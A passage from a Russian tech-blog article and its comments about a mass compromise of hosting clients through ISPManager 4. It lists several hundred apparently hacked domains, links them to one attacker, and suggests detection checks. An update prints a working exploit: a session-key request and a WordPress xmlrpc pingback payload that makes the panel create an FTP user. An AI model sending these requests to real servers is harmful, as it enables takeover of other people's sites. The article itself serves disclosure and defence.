    veranda-tort.ru
    vesna-mall.ru
    veta-pnz.ru
    vezemzerno.ru
    videochat-dating.ru
    vidgor.org
    viessmann-rostov.ru
    villozi.ru
    vininfo.biz
    vipkarkas.ru
    vip-teatre.ru
    viptort.com
    virtual-love-video.ru
    virtual-sex-chat.ru
    virtyola.ru
    visitmurmansk.info
    vitaccikids59.ru
    vitkis2007.ru
    vk-52.ru
    vk-secrets.ru
    vladstomkazan.ru
    vl-club.com
    vlokna.ru
    vodexp.com
    vodion.ru
    vodomerdvv.ru
    vodovozkzn.ru
    volgadaily.ru
    volga-trast.ru
    vorozhun.ru
    vosyn.ru
    voyage-almetyevsk.ru
    voyage-bugulma.ru
    vremyabusin.ru
    vs56.ru
    vsefotoshop.ru
    vsem-zdorovo.ru
    vsypravda.ru
    vyshny-volochok.ru
    vzvezda.com
    wahindia2012.com
    wallmania.ru
    washingmashine.ru
    wcrg.ru
    web-quant.ru
    webrama.ru
    weranda.ml
    weranda.tk
    wertbau-bayern.com
    west-logistics.lv
    whoop.kz
    wikifoods.ru
    wildpromo.biz
    windoors-spb.ru
    wingedlion.ru
    womens-health.pro
    wonted.ru
    wood-center.ru
    workatruna.com
    worldbest-buy.com
    world-oboi.ru
    wpc-shop.ru
    w-timer.com
    www.03-ektb.ru
    www.1000-bit.ru
    www.1ac1.ru
    www.33strike.ru
    www.aaa-autotrade.ru
    www.activephysic.ru
    www.afman.ru
    www.agropravo.ru
    www.alfredo4.ru
    www.apibd.ru
    www.aquamaster.ru
    www.arbaletweb.com
    www.arry.ru
    www.asip.kz
    www.ask52.ru
    www.askliar.ru
    www.astralspb.ru
    www.astrostory.org
    www.auto-pekin.ru
    www.avon-hit.ru
    www.azovsea.su
    www.bagsurb.ru
    www.baikal-bandy.ru
    www.ballhouse.ru
    www.bank-cpv.ru
    www.bankersense.ru
    www.bankingexp.ru
    www.banksgroup.ru
    www.belmtz.com
    www.belogorskcity.ru
    www.belya.ru
    www.berto.ru
    www.bistro-nogi.ru
    www.boncotton.ru
    www.brucewillis.ru
    www.bsi38.ru
    www.bustik.ru
    www.castellvall.ru
    www.champion-angler.ru
    www.chitamoto.ru
    www.ctasty.ru
    www.cutomat.ru
    www.danielfurs.ru
    www.darimskidki.com
    www.darimskidki.info
    www.darimsvet.ru
    www.demontag-center.ru
    www.detali62.com
    www.dianatour-khv.ru
    www.divemasterinternshiptenerife.pro
    www.domsow.ru
    www.dontehnika.ru
    www.dssz-riverdock.ru
    www.dunmers.com
    www.economazs.ru
    www.efishery.ru
    www.elban.ru
    www.elcomtorg.ru
    www.elitstroy31.ru
    www.elskervin.dk
    www.ewnc.org
    www.expat.ru
    www.filosense.ru
    www.fishingworld.su
    www.foodtools.ru
    www.fullyeah.ru
    www.fwpro.ru
    www.galina-tex.ru
    www.garos-rus.ru
    www.gazetarabota.kg
    www.glimek.info
    www.gloria-flower.ru
    www.golden-bereg.ru
    www.gorreri.su
    www.gostol.kz
    www.gostol-gopan.ru
    www.grandvitara.net
    www.granprofteh.ru
    www.great-explorers.com
    www.greatphilosophy.ru
    www.gsp-it.ru
    www.guestinmoscow.ru
    www.gymlab.ru
    www.hitmanhart.info
    www.hoba.biz
    www.homut-irk.ru
    www.horse-racing.ru
    www.hotels-dombay.ru
    www.huskysamara.ru
    www.icye.ru
    www.imperia-dverei.ru
    www.inbratsk.ru
    www.instrumentom.ru
    www.inter-academy.ru
    www.intimchats.ru
    www.inzp.ru
    www.ioannbad.ru
    www.ioioo.ru
    www.irakfull.ru
    www.issyk-kul.su
    www.jufeba.ru
    www.kalibrgun.ru
    www.kamodingold.ru
    www.kapitan62.ru
    www.kbt24.ru
    www.khabarovskiy.ru
    www.khakassk.ru
    www.kirdyksalam.ru
    www.kolosoao.ru
    www.kornfeil.kz
    www.kristiclub.ru
    www.kuhni-mdf.ru
    www.kzwork.com
    www.lamissi.ru
    www.lasermed.info
    www.ldeko.ru
    www.lepresident.ru
    www.lestnica-slov.ru
    www.lexina.ru
    www.lillnord.ru
    www.lima-rus.ru
    www.luminofor.in
    www.mainca-rus.ru
    www.maisonelitaire.ru
    www.mariaidea.ru
    www.melius-group.ru
    www.metmebel23.ru
    www.metropolrussia.ru
    www.mfo-online.ru
    www.minzkh39.ru
    www.mir-darov.ru
    www.mir-feierverkov.ru
    www.mirniti.ru
    www.misterio.ru
    www.mixcool.ru
    www.mixerit.ru
    www.modern-tver.ru
    www.moskovskie-zabory.ru
    www.mos-otel.ru
    www.mo-stkupavna.ru
    www.myfengshui.ru
    www.mykhabarovsk.ru
    www.mykomsomolsk.ru
    www.mylime.ru
    www.mysmtp.ru
    www.nastyakraynova.ru
    www.net-fish.ru
    www.newkharkov.ru
    www.novitacom.net
    www.npcpr.ru
    www.obscenejukebox.com
    www.ogneupor.org
    www.olimp-mody.ru
    www.organicflowers.ru
    www.organicnatural.ru
    www.osaka89.ru
    www.paraviola.com
    www.paulmitchell-krd.ru
    www.peremena.net
    www.petrosoft.su
    www.phiexperts.ru
    www.philodream.ru
    www.philoguides.ru
    www.philomasters.ru
    www.philosophyday.ru
    www.physic-explorer.ru
    www.poliklinika2.ru
    www.popumed.net
    www.pravoday.ru
    www.preservino.ru
    www.proizvodstvogk.ru
    www.promtehnosert.ru
    www.prostostart.ru
    www.prozorov.com
    www.pskov-les.ru
    www.pslog.net
    www.pyramidweb.ru
    www.rafting-tour.ru
    www.rashodca.ru
    www.readingbakery.ru
    www.real-more.ru
    www.resistancetour.org
    www.resort-kp.ru
    www.ristav.ru
    www.riviera-crimea.com
    www.rm-company.ru
    www.rockingnikki.com
    www.rondostar.ru
    www.roza34.ru
    www.samomudr.ru
    www.sanriza.ru
    www.sbsmegamall.ru
    www.sbsshop.ru
    www.service-baker.ru
    www.showmaker.pro
    www.sia-homedecor.ru
    www.silavslove.ru
    www.silvero.ru
    www.skm-bowling.ru
    www.sleepwalker.cc
    www.smart-aks.ru
    www.smerchweb.com
    www.smp-soft.com
    www.sms-kavkaz.ru
    www.soft-art.ru
    www.sovetgavan.ru
    www.spacream.ru
    www.spa-sugaring.ru
    www.sporting-club.ru
    www.ssangyong-axsel.ru
    www.ssa-web.com
    www.staff-ice.ru
    www.stankov-ufo.ru
    www.starter-omsk.ru
    www.stmaryschool-losangeles.org
    www.stroy-kamin.ru
    www.stroyles63.ru
    www.stroysys.ru
    www.techbus.me
    www.technosilos.ru
    www.telogik.ru
    www.terik.org
    www.thewire.ru
    www.tlteatrkukol.ru
    www.treif-rus.ru
    www.tsg-vesta.ru
    www.turgoyak.ru
    www.turizm.kg
    www.ubeusa.ru
    www.ufodesign.org
    www.ufohosting.org
    www.ufoseo.org
    www.ufosites.ru
    www.ugraloppet.ru
    www.ultrabuki.org
    www.umniykot.ru
    www.upsk56.ru
    www.ussuriec.ru
    www.vd-san.ru
    www.veloxbarchitta.ru
    www.vilnerivne.com
    www.virtchats.ru
    www.vixri.ru
    www.vthailand.org
    www.washingmashine.ru
    www.westhome-invest.com
    www.windoor23.ru
    www.windoors-spb.ru
    www.wingedlion.ru
    www.wozr.ru
    www.x-side.es
    www.yakuninyan.ru
    www.yalta-intours.com
    www.yarenor.ru
    www.yatagan.ru
    www.zakarpattia.ru
    www.zima-holoda.ru
    www.zrivp.ru
    x2011.ru
    x-2011.ru
    xerox116.ru
    ximopttorg.ru
    xn--80aaagrj2ckteg5fxb.su
    xn--80abgh6aacdsxb.xn--p1ai
    xn--80ascligy.xn--p1ai
    xn----8sbafarahpprsiicameoflxeq4t.xn--p1ai
    xpeh13.ru
    xxxvideochat.ru
    yamogu.club
    yamuslimat.ru
    yapisatel.com
    yarydayu.ru
    ydirecti.ru
    yeppi.ru
    yomiomi.com
    york24.ru
    yozshugami.ml
    yury.su
    zabor163.ru
    zaborlego102.ru
    zaborlego123.ru
    zaborlego31.ru
    zaborlego36.ru
    zaborlego68.ru
    zaborlego78.ru
    zaborlego96.ru
    zaborlux.ru
    zador.ml
    zagoryanka.ru
    zahodi7.ru
    zalevskiy.info
    zaysanskaya-elan.ru
    zenforum.ru
    zenpr.ru
    zhand.ru
    zhukovskij-seo.ru
    znahar-dv.ru
    zolut.ml
    zonecase.ru
    zrivp.ru
    zumitashop.ru

    Оказалось, что это не первый подобный инцидент. Поиском удалось найти еще несколько подобных:

    На nulled.in опубликован список, состоящий примерно из 1500 взломанных сайтов textuploader.com/5bgm1. Наш список пересекается с ним примерно на 100.

    Также, в нашем случае существует связь с инцидентом с nulled.in. Оказалось, что в обоих случаях совпадает IP-адрес головы (т.е. центра управления сети зловредов), а также https-сертификат, который доступен по адресу 0x31.ru.

    Получается, что один и тот же злоумышленник, за несколько месяцев, скомпрометировал более 3000 сайтов. А общее количество взломанных серверов достигает 1000.

    Информация о взломе с пометкой о массовости проблемы в этот момент была передана в техподдержку хостинга, которая посоветовала нам разбираться с проблемой самостоятельно.

    Заключение


    Какие уязвимости были использованы остается неизвестным. Возможно, что существует 0day-уязвимость для ISPManager 4, т.к. именно эта панель установлена на большинстве обнаруженных серверов.

    Как и рекомендует сам FirstVDS — использовать ISPManager 4-й версии дальше не стоит.

    P.S. Конечно, это не первый случай массового взлома клиентов хостинга через панель хостинга.

    Несколько лет назад похожий кейс был у Hetzner habrahabr.ru/post/182416.

    UPD

    С подсказки юзера trik возможно, обнаружено описание 0day:

    1) Создать ключ для авторизации по ключу(нужно знать имя пользователя, чтобы потом авторизоваться):
    127.0.0.1/manager/ispmgr?out=xml&func=session.newkey&username=&key=98946945603567567567567

    Один из примеров эксплуатации №1
    2) В wordpress имеется возможность отправлять запросы от сервера через функцию pingback в файле xmlrpc.php. Нужно лишь знать путь к существующей странице на сайте. Отправляем POST запрос к скрипту site.com/xmlrpc.php вида:
    <methodCall>
    <methodName>pingback.ping</methodName>
    <params>
    <param><value><string>http://site.com/manager/ispmgr?name=[ftpuser]&amp;passwd=[pass]&amp;htype=equalme&amp;dir=&amp;disklimit=0&amp;note=&amp;func=ftp.edit&amp;elid=&amp;sok=ok&amp;out=json</string></value></param>
    <param><value><string>http://site.com/?p=2</string></value></param>
    </params>
    </methodCall>


    Мы проверили эту уязвимость на ISPManager 4.3 и она сработала. На последней версии ISPmanager 4.4.10.29 — не сработала. По логам не видно, чтобы ее к нам применяли.

    На эту проблему стоит обратить внимание другим хостингам, массово внедряющим ISPManager.

    UPD
    Быстро проверить свой сайт возможно запросив главную страницу с параметром ?page=check

    Например:
    http://bystry-kredit-nalichnimi-tver.ru/
    http://bystry-kredit-nalichnimi-tver.ru/?page=check

    Комментарии 29

      +1
      Хм… А я знаю, как ещё используется уязвимость — на взломанных сайтах размещается зловред для шифрования файлов. Знаю потому, что расшифровывал скрипты из писем, что мне сотрудники слали на анализ — было подозрительно, что на многих сайтах используется именно панель ISPmanager.
      Хотел написать в техподдержку по этому поводу, но было стыдно — на первой расшифрованной ссылке на сайт я перепутал панель с хостером и писал как хостеру. Кто же знал-то…
        +1
        https://forum.antichat.ru/threads/442020/
          +2
          А как узнать, скомпрометирован ли мой VPS? У меня пароль рута в ISPManager'е не соответствует реальному и страницы в большинстве своём генерируются программой на C++, поэтому вряд ли его затронули, но всё же.
            0
            Добавил в статью
              0
              Можно поконкретнее? В приведённом примере получается одно слово «check», но у меня никакие скрипты работать не будут. Если в каталогах сайта нет файла .cli.php, можно ли считать, что он не был взломан?
                0
                Ну не одно слово, а параметр page=check переданный на индексную страницу домена.
                  0
                  В ответе сервера по Вашей ссылке одно слово, даже без конца строки.
                    0
                    Если в ответе check значит сервер взломан.
              +2
              Я бы ещё на всякий случай проверил «оригинальность» файлов и конфигов системы. Под debian, например, это утилита debsums.
                +2
                rpm -aV для Центоса
                  0
                  > Я бы ещё на всякий случай проверил «оригинальность» файлов и конфигов системы. Под debian, например, это утилита debsums.

                  с учетом — «на уровне супер-пользователя.», это практически бессмысленное занятие, имхо. Разве что загружаться со стороннего livecd и там производить проверку
                    0
                    Я всего лишь подсказал инструмент, а откуда им пользоваться — выбор администратора
                      0
                      Ну это важный момент в подобных ситуациях, и я считаю, что его стоит упоминать, так как не все об этом знают.

                      Где то была статья на хабре, не могу сейчас найти, тоже взломали сервер (получили рута), но там сразу половину системных утилит подменили на свои, так что проверка всяких md5 ничего аномального не показывала.
                      0
                      А как можно запустить VPS с livecd?
                        0
                        Конкретно как это сделать на FirstVDS не подскажу, не сталкивался. Но на Hetzner, например, было два варианта:

                        1. Отправить машину в rescue режим через панель управления аккаунтом.
                        2. Заказать у них т.н. LARA (ip kvm) и подгрузить любой iso диск.
                  0
                  На последней версии ISPmanager 4.4.10.29

                  Последняя же уже 5 версии?
                    0
                    Имеется ввиду 4-я линейка
                    0
                    del — ошиблась веткой
                      +1
                      Интересно, где взяли версию ISPmanager 4.3? Она вышла 2 октября 2007 года
                      http://web.archive.org/web/20071011145112/http://ispsystem.com/en/support/changelog/ispmgr.html
                      Просто если использовать столь старые системы (наверное FreeBSD 4 это?), так там уязвимостей хватит и без панели управления. Надо все же стремиться использовать актуальное программное обеспечение
                        0
                        а мой аккаунт после 10 лет вообще удалили и восстанавливать не собираются судя по всему.
                        благо там ничего не было на тот момент.
                        заметил случайно — понадобилась впс-ка.
                          0
                          Скажите логин в нашей системе — я проверю.
                            0
                            Такой же, как и здесь. Буду благодарен.
                            На sales@ висит тикет от меня от 7 сентября.
                              0
                              Проблема решилась благодаря CrashCrash, спасибо большое!
                            0
                            Я из FirstVDS.

                            Прочитав этот пост, мы изучили эту проблему с cli.php:
                            1. Взламывают через уязвимости в операционных системах, через CMS, и прочий устаревший серверный софт. Вариант с ISPmanager — не самый часто встречающийся.
                            2. Существуют серверы, которые заражены ещё в 2006 году. Так как сайты продолжают работать, то клиенты ничего не замечают. Мы ранее сталкивались с подобным случаем продвижения казино “Вулкан”и делали рассылки о необходимости обновления ПО пострадавшим. К сожалению, зачастую, наши клиенты к ним не прислушиваются.

                            Обычно мы не работаем на серверах клиентов без их ведома.
                            Но сегодня проверили, какие версии ISPmanager 4 установлены у наших клиентов, и обновили их до последней в 4 ветке. — 4.4.10.29. В этой версии проблемы нет.
                              0
                              Любопытно получается, я не получал от вас писем об обновлении. Только просьбы ваших сотрудников предоставить Вам полный рут от vps без гарантии того, что все мои данные будут в сохранности. Сейчас чувствую не зря это сделал.
                              0
                              О ужас-то какой! Взломали! Совершенно естественно, что когда обнесли не замкнутую тобой съёмную квартиру, то надо срочно бежать жаловаться на владельца этой квартиры, валить и арендовать другую. Но боюсь, что если ты и на новом месте не закроешь дверь на замок, то тебя ждёт тот же результат.
                              Срочно бежим искать уязвимости в Windows 98! По-любому там незакрыто.
                                0
                                Я конечно все понимаю, но давайте представим, что дом принадлежит владельцу и в 1 момент обнесли все квартиры. У которых разные двери и разные ключи. Вы наверное тоже не пойдете к хозяину? Речь не об 1- м эпизоде. Прочитайте внимательно.
                                0
                                UPD
                                Быстро проверить свой сайт возможно запросив главную страницу с параметром ?page=check

                                Например:
                                http://bystry-kredit-nalichnimi-tver.ru/
                                http://bystry-kredit-nalichnimi-tver.ru/?page=check

                                Не понял в чем проверка, поясните пожалуйста
                                  0
                                  В случае заражение в ответ придет строка check

                                Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                                Самое читаемое